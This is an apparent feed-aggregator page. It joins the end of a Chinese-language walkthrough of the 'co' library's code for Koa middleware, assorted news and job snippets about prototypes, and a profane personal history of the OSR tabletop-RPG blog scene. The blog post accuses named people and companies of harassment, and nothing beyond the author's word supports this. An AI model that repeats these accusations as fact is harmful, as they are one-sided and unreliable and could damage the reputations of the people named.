/** * slice() reference. */ var slice = Array.prototype.slice; /** * Execute the generator function or a generator * and return a Promise. * * @param {Function} fn * @return {Promise} * @api public */ function co(gen) { var ctx = this; var args = slice.call(arguments, 1) // we wrap everything in a Promise to avoid Promise chaining, // which leads to memory leak errors. // see https://github.com/tj/co/issues/180 return new Promise(function(resolve, reject) { // 如果传入的是一个生成器, 那么调用这个生成器以得到一个迭代器 if (typeof gen === 'function') gen = gen.apply(ctx, args); // 如果不存在迭代器或者迭代器没有 next, 那么直接返回一个 resolved 状态的 Promise if (!gen || typeof gen.next !== 'function') return resolve(gen); // 执行这个迭代器 onFulfilled(); /** * 对迭代器进行一次 next 调用 * * @param {Mixed} res * @return {Promise} * @api private */ function onFulfilled(res) { var ret; try { // 利用上次得到的结果对迭代器进行 next 调用, 得到 yield 出的返回值 ret = gen.next(res); } catch (e) { // 有错直接返回出一个拒绝态的 Promise return reject(e); } // 如果没出错就通过 next 进行处理 next(ret); } /** * @param {Error} err * @return {Promise} * @api private */ function onRejected(err) { var ret; try { // 如果出错的话会调用迭代器的 throw 尝试解决错误 ret = gen.throw(err); } catch (e) { return reject(e); } next(ret); } /** * Get the next value in the generator, * return a Promise. * * 得到迭代器的下一个值, 并返回一个 Promise * * @param {Object} ret * @return {Promise} * @api private */ function next(ret) { // 如果迭代已执行完成, 返回一个 resolved 状态的 Promise, resolved undefined if (ret.done) return resolve(ret.value); // 否则将 value 包装成一个 Promise var value = toPromise.call(ctx, ret.value); // 如果是包装了 truthy 值的 Promise, 那么通过 then 来后处理 // 这里的 value 实际是 createGenerator 返回的迭代器封装好的 Promise if (value && isPromise(value)) return value.then(onFulfilled, onRejected); // 如果不能封装为 Promise 则抛出错误 return onRejected(new TypeError('You may only yield a function, Promise, generator, array, or object, ' + 'but the following object was passed: "' + String(ret.value) + '"')); } }); } /** * Convert a `yield`ed value into a Promise. * * 针对 yield 的 value 可能具有的不同情形来封装成 Promise * * @param {Mixed} obj * @return {Promise} * @api private */ function toPromise(obj) { // 如果为 falsy 直接返回 if (!obj) return obj; // 如果是 Promise 直接返回 if (isPromise(obj)) return obj; // 如果是迭代器或者是生成器就用 co 再执行 // 实际上 koa 走的是这个分支, 它会再用 co 执行这个迭代器, 返回 Promise // 迭代器在执行的时候, 就往 koa middleware 的下游走 if (isGeneratorFunction(obj) || isGenerator(obj)) return co.call(this, obj); // 如果是一个 function 那么就通过 thunkToPromise 封装, 不展开了 if ('function' == typeof obj) return thunkToPromise.call(this, obj); if (Array.isArray(obj)) return arrayToPromise.call(this, obj); if (isObject(obj)) return objectToPromise.call(this, obj); return obj; } /** * Convert a thunk to a Promise. * * 其他的辅助方法从略, 只看看这个. * * @param {Function} * @return {Promise} * @api private */ function thunkToPromise(fn) { var ctx = this; return new Promise(function (resolve, reject) { fn.call(ctx, function (err, res) { if (err) return reject(err); if (arguments.length > 2) res = slice.call(arguments, 1); resolve(res); }); }); } 复制代码 convert 的执行过程 当 Koa 要运行生成器函数转换成的中间件的时候, 即调用 return Promise.resolve(fn(context, dispatch.bind(null, i + 1))); 时, 执行 return co.call(ctx, mw.call(ctx, createGenerator(next))) , 它返回一个 Promise 其中, 用户提供的生成器 mw 被调用, 同时调用 createGenerator(next) 返回一个迭代器 co 调用自己的 onFulfilled 方法执行用户的迭代器. 用户会写 yield next 这一句, 将控制权交还给 co, co 调用 next 方法. 此时, 由于 ret.value 是 createGenerator(next) 返回的迭代器, 所以 next 方法进入 if (value && isPromise(value)) return value.then(onFulfilled, onRejected); 的分支 value 被封装成一个 Promise, 其实内部又用了一次 co 对 return yield next 进行执行 return yield next 被执行, 进入下游 middleware 并最终回溯到当前的 middleware co 第二次执行 onFulfilled , 然后调用 next 方法, 此时 ret.done 为真, 返回一个解决态的 Promise 这里就回到了 return Promise.resolve(fn(context, dispatch.bind(null, i + 1))); , 继续往上游回溯

到这里, 我们就梳理清楚了 Koa 1.x 时代所采用的生成器函数是如何被 Koa 2.x 所采用的异步函数兼容的.

可能需要画张图来更清楚地展示这个过程.


          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          Maruti Starts Testing All-electric Cars Under Pilot Project In India      Cache   Translate Page      
The carmaker has rolled out 50 prototypes which are based on the Wagon R and developed by Suzuki Japan - Source: www.zigwheels.com
          Leica Museum report (Ur-Leica, Leica M for RED prototype, Leica M6 prototype for Queen Elizabeth)      Cache   Translate Page      

DC.Watch (Google translation) published a report from the new Leica Museum, including some interesting and uniques Leica cameras:

The post Leica Museum report (Ur-Leica, Leica M for RED prototype, Leica M6 prototype for Queen Elizabeth) appeared first on Leica Rumors.


          Comment on MRS: Magnetic Retention Systems for Load Bearing Equipment by John B      Cache   Translate Page      
RECOIL... I had the pleasure of T&E'ing one of the MRS prototypes and it is a great piece of kit. At the time, I was assigned to a Narcotics Unit and I kept my primary set of cuffs mounted on the MRS. On the range it is indeed very easy to throw (yes, you can literally throw a magazine at it) partial and/ or empty magazines at the MRS instead of trying to work them into a dump pouch. It is a great and versatile piece of gear. The creator is aware of the article, you guys can probably expect contact soon!
          AC Schnitzer ACS5 (2018): Test AC Schnitzer radikalisiert den M5!      Cache   Translate Page      

AC Schnitzer plant für den M5 eine Leistungsspritze auf rund 700 PS und ein agileres Fahrwerk. AUTO BILD ist einen Prototypen gefahren!


          GM India Showcases Quirky Range Extended EV Concept      Cache   Translate Page      
Range Extended Electric Vehicle concept shown to kick off the REEV engineering student contest This week at FISITA 2018, General Motors Technical Center India (GM TC-I) and SAE India Bangalore unveiled a prototype range extended electric vehicle. The vehicle doesn’t have a formal name, it is just an REEV Concept. But the goal of developing […]
          Une retranscription écrite d'une réunion contredit les démentis de Google à propos de Dragonfly qui pourrait être lancé bientôt      Cache   Translate Page      
Une retranscription écrite d'une réunion contredit les démentis de Google à propos de Dragonfly
qui pourrait être lancé bientôt

Vous n'êtes plus sans savoir maintenant que le géant américain Google a mis au point un prototype de moteur de recherche censuré pour la Chine, qui relie les recherches des utilisateurs à leurs numéros de téléphone personnels, facilitant ainsi la surveillance par le gouvernement chinois des requêtes des internautes. Le moteur de recherche, baptisé Dragonfly, a été conçu...
          Interactive Companionship Mirrors - The 'Novera' Smart Mirror Design Talks and Responds to Emotions (TrendHunter.com)      Cache   Translate Page      
(TrendHunter.com) The &#8216;Novera' is a smart mirror design concept that was created to provide companionship for lonely people. The design currently only exists as a prototype and boasts the ability to carry...
          Food finder (Android Mock-up)      Cache   Translate Page      
Food finder (Android Mock-up)

Food Finder is Android application for all food all lover .It would help them to find their favourites foods in cheap rates around the.

My work was to design the prototype for that application.


          Martian tiny home prototype champions zero waste and self sufficiency      Cache   Translate Page      
International architectural practice OPEN Architecture has teamed up with Chinese electronics giant Xiaomi to design MARS Case, a futuristic proposal for Martian living that takes inspiration from Henry David Thoreau’s Walden. Designed for easy transportation, the lightweight and compact housing prototype was unveiled to the public for the first time outside the Bird’s Nest Stadium in Beijing as part of China House Vision, a multidisciplinary and experiment platform for ideas about the future...
          Program Buyer      Cache   Translate Page      
MI-South Haven, Vibracoustic has an opening for a Program Buyer at our South Haven, MI technical center. The primary responsibility of the Program Buyer is the fulfillment of purchasing objectives of the BA/region for direct materials. Program Buyer Tasks: Define single PO, Tool PO, and Scheduling Agreements in ERP System. PO for prototypes, samples, serial and spare parts. Transfer projects to Logistics and Supp
          Plugin House built in Boston to demonstrate potential for use in US backyards      Cache   Translate Page      

Chinese studio People's Architecture Office is using a pop-up pavilion to show how a prefabricated home designed for China's hutongs could be used by cities in the US to help tackle the housing crisis. A Plugin House prototype was first installed at Harvard University and then moved to Boston City Hall to engage local residents through a series of in-situ

The post Plugin House built in Boston to demonstrate potential for use in US backyards appeared first on Dezeen.


          #d - ryu801312      Cache   Translate Page      
#cnc #woodworking #cncmachining #design #wood #machining #cncrouter #cncmachine #instamachinist #cncmilling #manufacturing #engineering #woodwork #machinist #custom #prototype #milling #cnccutting #engineer #cncmachinist #cncwoodworking #mechanical #render #handmade #cncprogramming #d #mechanics #cncmachined #tools
          BMW M2 CS 2019: Erste Erlkönig-Fotos vom Nürburgring      Cache   Translate Page      
Kommt der BMW M2 CS schneller als gedacht? Offenbar hat die Arbeit am neuen Über-Kompaktsportler bereits begonnen, denn am Nürburgring wurden nun die ersten Prototypen …
          2019 Johnson & Johnson Supply Chain/Operations Co-Op Northeast - Johnson & Johnson Family of Companies - Somerville, NJ      Cache   Translate Page      
Supply Chain Business Analyst. Build prototypes using machine shops or 3D printing technology. Drive business insights through the active mining of supply chain...
From Johnson & Johnson Family of Companies - Fri, 10 Aug 2018 19:21:03 GMT - View all Somerville, NJ jobs
          Jaguar Land Rover to offer autonomous cars by 2028      Cache   Translate Page      

Jaguar Land Rover is moving forward with autonomous driving development, setting a new milestone recently in a Range Rover Sport prototype by completed a lap of the Coventry Ring Road, autonomously. Like many carmakers at the moment, Jaguar Land Rover has plans to launch autonomous vehicles in the future. More specifically, it plans to offer self-driving vehicles to customers within 10 years, it says. And the first steps toward this are already being made. A prototype Range Rover Sport, equipped with special navigation sensors, and RADAR and LIDAR, completed the first ever self-driving lap of the complex Coventry Ring Road […]

The post Jaguar Land Rover to offer autonomous cars by 2028 appeared first on PerformanceDrive.


          Insta360 One X Revolutionizes the Action Camera       Cache   Translate Page      

Insta360's new One X 360 degree action camera promises more freedom and creative possibilities.

Today, Insta360 has revolutionized the action camera game with its release of the One X, an ultra-portable consumer 360-degree action cam. Among the camera's features are a maximum resolution of 5.7k @ 30fps, gimbal-like internal stabilization, a purpose-built editing app that let's you shoot first & frame later, and a new TimeShift feature that allows you time to remap your footage for increased dynamism and creativity.

The Insta360 One X is a consumer action camera that hopes to find its way into the backpacks and camera bags of vloggers, action shooters, and creators on-the-go who want a simplified capture-and-publish workflow without having to offload and edit footage on a computer.

No Film School was fortunate enough to get a prototype to test out and here's what we found after a few days with the new camera.

Read More


          www/p5-CGI-Prototype - 0.9054_1      Cache   Translate Page      
Add LICENSE
          The MTA seeks high-tech solutions for its bus and subway crisis - The Verge      Cache   Translate Page      
@BenDWalsh, @CGrantWSJ, @RobinWigg, @mattyglesias, @davidjoachim
          2020 Opel Insignia Sports Tourer spy shots      Cache   Translate Page      
Opel's Insignia lineup is about to be updated, as evidenced by the recent sighting of a concealed prototype testing on the Nürburgring....
          PLuGHiTz Live - Special Events (Video): Announcing a New Breakthrough Alert System for Meds with HEXIS      Cache   Translate Page      
Description

Many people old and young have problems keeping track of and remembering to take their medications. Lenny George and another co-founder have developed a wonderful adherence device, which they call HEXIS from CueMed. This device is a voice-enabled connected pill organizer designed to contain your meds. It can hold up to 7 days worth of pills, as many as 14 pills a day and can separate them into 4 groups per day. It comes in a smart-looking little tower that contains 7 containers for your medications. It is a very discreet way to have your meds handy without advertising that you are carrying them. HEXIS recognizes only your voice and will only respond to you, keeping your medication schedule private.

Lenny states that there are as much as 65% of prescription users that do not finish their meds. This can have very serious side effects, resulting in hospitalizations, and increased or recurring illnesses. He also tells of his co-founder having trouble with her thyroid meds. It seems that "life problems" get in the way as they do for so many people.

HEXIS keeps you on track by educating you that there are serious consequences to not taking them on time or at all. This device can also be work with other health devices such as Fitbit, glucose meters or blood pressure monitors or electronic scales that track your sleep, heart rate, blood pressure, and glucose levels. Proper monitoring is so very important to your health and HEXIS is a way to make it easy. This isn't just a pill organizer but it actually has an analytic approach to help you form and keep good health habits to ensure your improving health. They have gone through several prototypes to come up with the correct hardware solution that serves as your personal health coach.

Sponsored by:
Amazon Prime gives you more than just free shipping. Get free music, TV shows, movies, videogames and more.
Enjoy your favorite books while you work or travel. Get a free book and a 30 day trial with promo code Try70.

ParticipantsNancy ErtzEpisode AuthorScott ErtzHost

Scott is a developer who has worked on projects of varying sizes, including all of the PLuGHiTz Corporation properties. He is also known in the gaming world for his time supporting the DDR community, through DDRLover and hosting tournaments throughout the Tampa Bar Area. Currently, when he is not working on software projects or hosting F5 Live: Refreshing Technology, Scott can often be found returning to his high school days working with the Foundation for Inspiration and Recognition of Science and Technology (FIRST), mentoring teams and judging engineering notebooks at competitions. He has also helped found a student software learning group, the ASCII Warriors.

Nakia MannSpecial CorrespondentLive DiscussionPowered by Amazon Prime
          25 reasons to play hooky and come to the Fast Company Innovation Festival      Cache   Translate Page      

The Fast Company Innovation Festival is back for its fourth year and is poised to be bigger and better than ever. This year’s lineup promises to inspire, energize, and excite. There’s something for everyone, with a wide array of thought-provoking panels and unique events. International leaders in business, design, and culture will share their insights alongside Fast Company editors onstage at the renowned 92nd Street Y (1395 Lexington Ave.) on Manhattan’s Upper East Side. Specially themed networking opportunities and panel discussions will take place at Convene (237 Park Ave.), an imaginative event space conveniently located next to Grand Central Station that’s ideal for meaningful connections, illuminating live journalism, and immersive experiences.

Festival attendees can also participate in more than 100 Fast Tracks, Fast Company‘s popular field trips that go inside the labs, studios, and offices of New York’s most cutting-edge companies.

But if you need some more convincing, here are 25 reasons to ditch work and come join us at #FCFESTIVAL.

  1. Learn why live performances still rule in an age of screens with the incomparable Kerry Washington.
  2. Listen to Pharrell Williams discuss the power of collaboration and creativity with Illumination’s Chris Meledandri.
  3. Laugh your lanyard off with Larry Wilmore, who will be hosting a live version of his hit show Black on the Air.
  4. Get an inside look at how Amazon Studios and Blumhouse are changing how we consume media.
  5. Find out how to bridge entrepreneurship and empowerment with two powerhouses: designer Diane von Furstenberg and Whitney Wolfe Herd, founder and CEO of Bumble.
  6. Hear celebrity chef Dan Barber and Sweetgreen cofounder Nic Jammett discuss how the future of food looks a lot like the future of the planet.
  7. Shapewear doyenne and founder of Spanx Sara Blakely will discus how leadership can provide stability in uncertain times with Delta CEO Ed Bastian.
  8. Take a deeper look at design with Michael Hendrix, partner and executive design director of renowned design agency Ideo.
  9. See why Drybar is about more than just great blowouts with founder Alli Webb.
  10. Worried about fake news? Listen to Hany Farid, professor at Dartmouth College, and photojournalist John Moore discuss how “deep fakes” are making the truth harder to discern than ever.
  11. Hear how fashion designer Tory Burch turned her company into a $3 billion business.
  12. Find out what it takes to take a cult brand beyond the die-hards with Jen Berrent, COO of WeWork, and the founders of the Skimm, Carly Zakin and Danielle Weisberg.
  13. Sprint through product development with Market Gravity and Deloitte Digital as they teach you how to go from Post-it Note to prototype.
  14. Plan your future with Prudential as it hosts an “escape room” workshop that will help you understand how to meet your financial challenges.
  15. Explore the ethical implications of artificial intelligence with senior executives from Intel and some of the top AI researchers from across the industry.
  16. Head to Lippincott’s Park Avenue lab to discover how it’s designing the workplace of the future.
  17. Bang the gavel with online auction house Paddle8 and learn about fundraising in the digital age.
  18. It may not be breakfast in bed, but you can still learn where your bed linens come from with Parachute, which will be hosting a breakfast.
  19. Get an inside look at how Giphy and Lemonade have captured the imagination of millennials.
  20. Grab a beer with Ceros and learn about the differences between creating content and creating real experiences.
  21. Absorb some lessons about why you should be designing for your employees rather than your company from the design geniuses at Frog.
  22. Go inside the news with a hosted tour of the Mic newsroom with cofounder and editor-at-large Jake Horowitz.
  23. Hang with some pups and learn how Bark designs its products with our canine friends in mind.
  24. Take a stroll around Central Park and learn about urban flora from a certified arborist with the Arbor Day Foundation. Picnic included!
  25. Snack, chat, and refuel at Convene, the Innovation Festival Hub conveniently located a stone’s throw from Grand Central Terminal.

          A Blurry and One-Sided History of the OSR (2008-2018)      Cache   Translate Page      
...as if through one side of a cube-shaped aquarium. Or, really, more of an ant farm: industriousness, anonymity, repetitive and vital tasks, tunnels underground, connections you can't see no matter which way you turn it.

So: the Old School Renaissance, in tabletop RPGs...

Jeff's Gameblog, back in the day

pre-2009

This history is a Part Two. Someone else would have to write Part One: I wasn't there. Rob Conley (The Majestic Wilderlands), Matt Finch (Swords & Wizardry), Michael Curtis (Dungeon Alphabet, Stonehell) and people like that know more--as does everyone on small message boards I don't spend much time on where TSR legends hang out.

I'm gong to forget things and people: sorry.

To summarize the impression I carry around in my head about this era I missed: People who'd been playing '80s D&D since the '80s and had been on the internet since the internet was invented were doing what you'd expect: enjoying talking to each other and making things. In 2000 the Open Game License had happened, allowing for legal clones of older, pre-Wizards of the Coast versions of D&D. OSRIC (based on 1st ed AD&D) came out in 2006, and an early edition of Swords & Wizardry (based on Basic/Expert D&D) came out in '07.

This hard work had been done by people whose names I don't hear much discussed long before I knew what a Moldvay even was.


2008

This is back when people used to spend hours googling esoteric things, before we knew that doing so would just result in banality and weird tumblr sex. I was writing a book--about something else, but my mind kept running back to when I played D&D as a kid--and one of my porn friends (Satine Phoenix, nowadays at WOTC) wanted to play.

It was also the year Gary Gygax died, the year that the 4th edition of D&D came out, and the year of the first one-page-dungeon contest--all three of which contributed to expanding the OSR in different ways.

I got to googling esoteric things "...and D&D". Many first contacts occurred here: first storygame (Shock--"Philip K Dick" "D&D"), first game blog: Monsters & Manuals  ("M John Harrison""D&D").

It must've been around November because everyone was discussing the controversial recent release of the original Geoffrey McKinney Carcosa.

Here was Jeff Rients on the Gameblog doing it (as usual: walking straight into controversy and coming out the other side unscathed simply by talking up only what he liked about the controversial thing) and here was James Mal on Grognardia doing it (as usual: conscientious, scholarly, but--really--not too bothered) and here was James Edward Raggi IV doing it (as usual: head first holding a broken bottle).
That November in 2008 is instructive now in many ways. All three of these guys were agreeing--the controversy around Carcosa was meaningless, and the book was full of interesting things--but James Mal dared to take Old School seriously: and people tried very hard to make him pay for it, James Raggi took it as a call to arms: and people took offense, Jeff took it casually: the tone-police--who notice only tone--let it go.

Jeff was an old hand and talking to gamers by that point, unlike James and James he'd been gameblogging for 4 years. Jeff was the original gameblogger at least as far as this scene is concerned, and was the beginning of the OSR I know and knew.



2009

So I was reading these things--I was learning there was a scene. And--for the first time in years--I got around to playing. I bought my first D&D thing in years: Death Frost Doom. It was also the year Stonehell and Majestic Wilderlands came out.

That atmosphere was intimate, collegial, with lots of discoveries, ideas and just basic facts being traded back and forth.

The newly-minted Grognardia was setting the pace: the blogs gave more scope to an individual voice than forums, had less gibberish, and, crucially, made it way easier for people like me--who didn't know shit--to find things.

People were attracted by James Mal's scrupulous, humane style and his basic project: to take a look at all these old books--often contrasting the basic approach with modern mainstream games.

The Grognardia comments section became a forum in itself--everyone blogging at the time was there. The Grognardia bloglist was where all this came from.

And, crucially, perhaps surprisingly, many would not have called themselves "old school" or "osr" bloggers. They were just people with game blogs. Monsters & Manuals or TheRPG Corner, for instance, could just as easily be about Cyberpunk or some new hotness. It took a remarkably long time for all of us to realize that most of the things we liked were things the mainstream RPG scene had increasingly forgotten about.

What about the gameblogs that didn't eventually become part of the OSR? They existed but they didn't really connect to each other much--they seemed happy on the forums, as the same people now seem happy on Twitter.

The OSR I know is or was a blog thing. It involves a lot of people who like writing and who like books, and who like continuous, articulate and sometimes complicated ideas, sometimes with footnotes.

It's also worth noting that there was and still is a sort of "old-school-Nonrenaissance" which stayed on the forums and fucking hated the OSR as arrivistes and poseurs. They would rail against James Maliszewski as if Grognardia had been built on the graves of their mothers' mothers. They saw the OSR as carpetbaggers, claiming Old School cred despite having been out doing things like living and eating and gong to college and having jobs instead of just playing D&D and posting on Prodigy about it since the Carter administration. They're still around. This is also the year the hatethread "grognards.txt" started on Something Awful.

Anyway, that was the year I started my blog.


2010

""James [Raggi] is one of the most interesting and daring writers *period*, no matter what school of gaming you like." 

- Mike Mearls

The OSR was already becoming a thing.

Either because it was good or because people wanted to see boobs, this blog became popular. Jeff, James, James and Zak became the Four Horsemen of gameblogging for the next few years--though we were just entry points for a much deeper and bigger scene. Michael Curtis with his Dungeon Alphabet was way ahead of the game in terms of making sellable stuff, Alexis/Tao and Monsters & Manuals/ Noisms were doing the brainiest work, the RPG corner was the widest-ranging and had great visuals. I'm pretty lazy about clearing dead blogs my bloglist over there exactly because I want people to keep looking back at that Devonian Explosion of creativity. Look at Valley of Blue Snails sometime--I hope that guy's ok, wherever he is.

Someone noticed that porn stars were playing D&D and we got a web show. This lead to the very first gaming controversy involving this blog. Part of it had to do with an internal OSR organization that put the show on its list of interesting things and somebody there was like "Fuck this bullshit there's swearing in it and they're not even playing our edition!" and part of it was just the mainstream misogynist gamers being misogynists ("They're all faking") and mainstream ("Wait, that's not how feats work! Let's cry!").

Gratifyingly, after a few weeks of being yelled at, these people fucked off. The OSR scene rallying around the girls was a big deal to us--certainly nobody else in gaming did it.

Notably, James Raggi of LotFP came to bat for us in a big way. I respected that a lot: basically all porn people get harassment online literally every day of their entire lives and James was one of the first human beings outside the industry to go out of his way to stand up to that. Most people won't ever understand how meaningful it is, when you've had to take the baseball bat to the fucking gophers every morning, to have another hand that isn't in the business helping. It's unheard of. Even today when I can get pretty much any liberal protest thing retweeted around the world in ten seconds you never see any of the dozens of reporters, gallery owners, authors or directors who follow me on social media lift a finger to mention SESTA/FOSTA. And if you have to google that to know what it is and why everyone in porn has a hard time using a bank account because of it, you're seeing my point: most people do not give a fuck. And James did.

I worked on the Grindhouse Edition of Lamentations of the Flame Princess for free. James commissioned Vornheim (advertised as The City From I Hit It with My Axe!--over a million people had seen the show, after all) and a fancier new version of Carcosa around the same time, stirring the trolls to new heights of freaked-outness: LotFP was well on its way to being The Fucked Up One among the retroclones.

The phrase Gygaxian Democracy got invented, the Dungeon Alphabet came out, Kevin Crawford launched Sine Nomine Publishing with Stars Without Number, the prototype of Secret Santicore got launched (originally designed to celebrate Dave Arneson's birthday), Satine started the first Charity D&D Event in LA at Meltdown Comics--a small thing, but events like that where voice actors, comedians, celebrities and other Hollywood people realized they all liked D&D were what sprouted into Critical Role and its ilk. Here is the thing about Hollywood: Satine knows everyone.


2011

Satine was also a key pebble factor in another coming avalanche: she was the one who told me--on the way to my first San Diego Comic Con--that this Google + thing could be used for free multiperson videochat. Then this, then this, then this. Soon, Calithena of Fight On! magazine (very important in the old school scene up til that point) contacted me and Jeff Gameblog, and proposed to us the idea that eventually became FLAILSNAILS games.  At the time I said online games would "revolutionize the hobby".

I googled "Dungeons & Dragons" in order to write this article--the first thing that comes up is Roll20--so maybe I was right. Either way, 2011 became the year of online games--but, more than that, it became the year of all these people who'd been talking to each other via blog comments for years actually seeing each other face-to-face for the first time. It was also a way for OSR types who didn't have the spare time to write eight-paragraph blog entries every three days to meet each other. The tech was big for a lot of reasons, but the biggest was probably: it made it a lot easier to become friends.

The storygamers before us had little conventions (like Camp Nerdly) where they met and decided they liked each other. We were a combination of busier and poorer, so we didn't--we instead met on G+.

It was magnificent and it changed everything. Beautiful, generous, excited, fascinated days--everyone sharing. We played every game, and things expanded rapidly.

On top of the new connectedness, LotFP's relatively risky publishing experiments were paying off: LotFP's Grindhouse Edition was an entire boxed set--including dice and a pencil, Carcosa was one of the most sumptuously bound printed books you're likely to see in or out of RPGs, and Vornheim was 2000 copies--unheard of at the time for an OSR book. And they were all making money.

Meanwhile, at the other end of the fanciness, Kevin Crawford was proving if you stuck to a schedule and put out a solid product (Red Tide and An Echo Resounding the next year) you could do this full time.

So the OSR was meeting itself and it was getting the idea that it could sell itself new things. I think the folks involved in Hydra Collective met and started working together around this period, and a number of other ventures that would soon come to burden Bryce Lynch on his newly launched quest to review every single goddamn module began to playtest and gestate.

But where to get the capital?


2012

Kickstarter.

James Mal of Grognardia joined forces with some people we used to call "That Mule Abides blogger" to put out Dwimmermount--the megadungeon he'd been writing about for the past year or so. 30,000$. Thirty! Thousand! Dollars! We were stunned. In 2012 it hadn't occurred to anyone that people would pay 30,000$ for OSR anything.

It all went to hell very fast: Dwimmermount became a scandal (though one eventually somewhat rectified years later) and James Mal became a genuine OSR casualty. Being Top OSR Blogger had made him a subject of immense online abuse for 4 years already and the same trolls were now suddenly walking around acting as if it had all been justified. James did not take the harassment well. If you're wondering whatever happened to Grognardia? That. James made some mistakes, definitely, but he never took it out on other people--so the whole thing was that much more frightening to watch.

Another bad sign was a new round of unusually vicious harassment for us, on account of me and the girls appearing in Maxim in 2011. One of the attackers was an obscure Onyx Path author. I'd never heard of her or her company--or her endless waves of shithead friends that were soon to become a regular fixture of our lives for (apparently) ever.

This kind of thing, combined with the ease of trying new games via the technology not yet called "hangouts" fed into a new theme: finding out how bad storygames sucked. We came, we played, we were like meh. A pattern became evident: The games weren't fun for us and when we talked about them the people who did like them were mean about it. And Google+ gave everyone a chance to find out just how mean on a scale never before seen. Especially since this was the year Dungeon World came out.

Y'know how people say things in games are "divisive" and people are in "bubbles"?  Well: it didn't used to be like that. And it was terrible idea--in the early days of Google+ it was like as if the French and Germans not only shared a border but kept insisting on eating at one long picnic table at that border every day. Thank god for divisiveness.

But in the actual games, things were changing. After years of publishing retro-modules, Goodman Games came out with the Dungeon Crawl Classics game--another big and expensive tome that people nevertheless seemed eager to shell out for (plus buy weird dice), there was also Jon Peterson's Playing At the World--the first-ever actually-good book about D&D as a phenomenon or a game design --and Vornheim (after losing an Ennie to a bunch of dungeon tiles) got nominated for a Diana Jones, got noticed by a dude named Kenneth Hite, and was recognized outside the RPG scene at the Indiecade festival. Commercially and in the minds of designers, OSR stuff was being recognized.

If you read the old entries in this blog you'll see a lot going on in 2012 and 2013: people and ideas were colliding like crazy. The ability to play anything via hangout pretty much whenever and to meet the designer seconds later made theorycrafting second-nature. This game works like this, while this game works like that.

Meanwhile, Wizards of the Coast, owners of official D&D,  did its best to give people more things to yell and theorycraft at each other about--announcing, over the course of the year:
-it would be retiring the controversial 4th edition of Dungeons and Dragons--roundly unappreciated by old school gamers and worshipped like god's own precious milk in game form by the forum trolls who hated them most,
-Monte Cook would be the lead designer on this new edition,
-Monte Cook would ok wait not be the lead designer on this new edition, and
-it was hiring a team of RPG designers and gadflies as consultants including Robin Laws (Feng Shui), S John Ross (Risus), Kenneth Hite (Trail of Cthulhu), Zak Smith (Vorn..heim?), and......the RPGpundit (fuck-all).


2013

Contessa begins, I believe, around now, as does basically everyone interesting finally all getting off or being thrown off RPGnet, as a direct or indirect result of the final convulsions of the Edition Wars (5e playtest documents were coming out all year) or OSR authors finally getting noticed enough to get yelled at. Everyons had better things to do on Google + anyway, which was humming at this point: community projects were getting made including the Hexenbracken, Kraal, and Colossal Waste. Secret Santicore was just a normal thing people expect to get done, as was the One Page Dungeon Contest.

By this point Frog God Games was producing old-school style modules for S&W and Pathfinder, Goodman Games was doing well with DCC, Kevin at Sine Nomine was producing exactly the quietly useful work he promised and Lamentations of the Flame Princess was firming up its reputation as The Gross One That Was Easy To Make Fun Of but...then it threw curveballs like Vincent Baker's Seclusium of Orphone and Ken Hite's Qelong.

It seems so calm, in retrospect.

2014

Now all this is a personal take, and I haven't done much new research this evening to prepare it. It's all just an impressionistic blur nailed down by the dates of old blog entries and some left-handed googling--so I hope I can be forgiven for saying at least my main OSR memories from 2014 were the frenzied bacchanal of harassment against me and the women in my game group that reached its peak with the release of the 5th edition of D&D in July and the coinciding realization on the part of the parties responsible that I wasn't joking when I said I worked on it. They saw it in print and they wept, and fell upon us like jackals in the cold night.

I don't know if it's it's accurate to say the years-long campaign of incredibly widespread bad behavior on the part of Fred Hicks, Cam Banks, team Green Ronin and co caused or solidified a real and lasting rift between the OSR and adjacent indie gaming communities whose principals aided and abetted it, but I fucking hope so.

The other big thing to happen this year was both the OSR and most of the rest of RPGs decided this 5th edition was Good, Actually. It seemed to be every experienced gamer's second favorite edition, and many newbies' first. The mechanics were within a stone's throw of fitting three or four different fairly popular styles, and things like advantage/disadvantage went over with most sane people.

Though I have no idea how much they took my advice, I did notice improvement from prototype to prototype, and our email exchanges about the rules were long. In terms of mechanics, if not writing, art and content--it ended up as close to the D&D I want to play as any other edition.

Closer to OSR home:

At this point the Google+ community has become a finely-honed you-want-it-you-got-it content-making machine, culminating in the Last Gasp instant generator tool being proposed, designed and programmed in less than a day, if I remember.

Contessa solidified its pre-eminence in woke gaming circles at bringing new people into the hobby, upsetting both conservatives and competitors in the process. Lots of new faces started coming in.

Slumbering Ursine Dunes--conceived, playtested and developed by Chris Kutalik on Google + came out.

There were personnel shifts: more of the folks from the early, Wild Westy, snarky/scholarly/pulpy/literary pre-Google+ days (like Huge Ruined Scott) were closing up shop and more surreal/postmodern/arty bloggers were taking their place. I could tell because people started asking me whether old TSR modules were any good--as if I'd read them or something.

Red & Pleasant Land--which, with it's gold embossing and whatnot, was a step more de luxe than even Carcosa had been--made insane fucktons of money for a cottage RPG project. I don't know if this counts as impacting the wider history of the OSR other than it got the guy in charge of Lamentations of the Flame Princess out of debt for the first time in his life, but it proved at least to me that either the OSR's appetites extended far beyond dying in tunnels or people far outside the OSR wanted OSR stuff.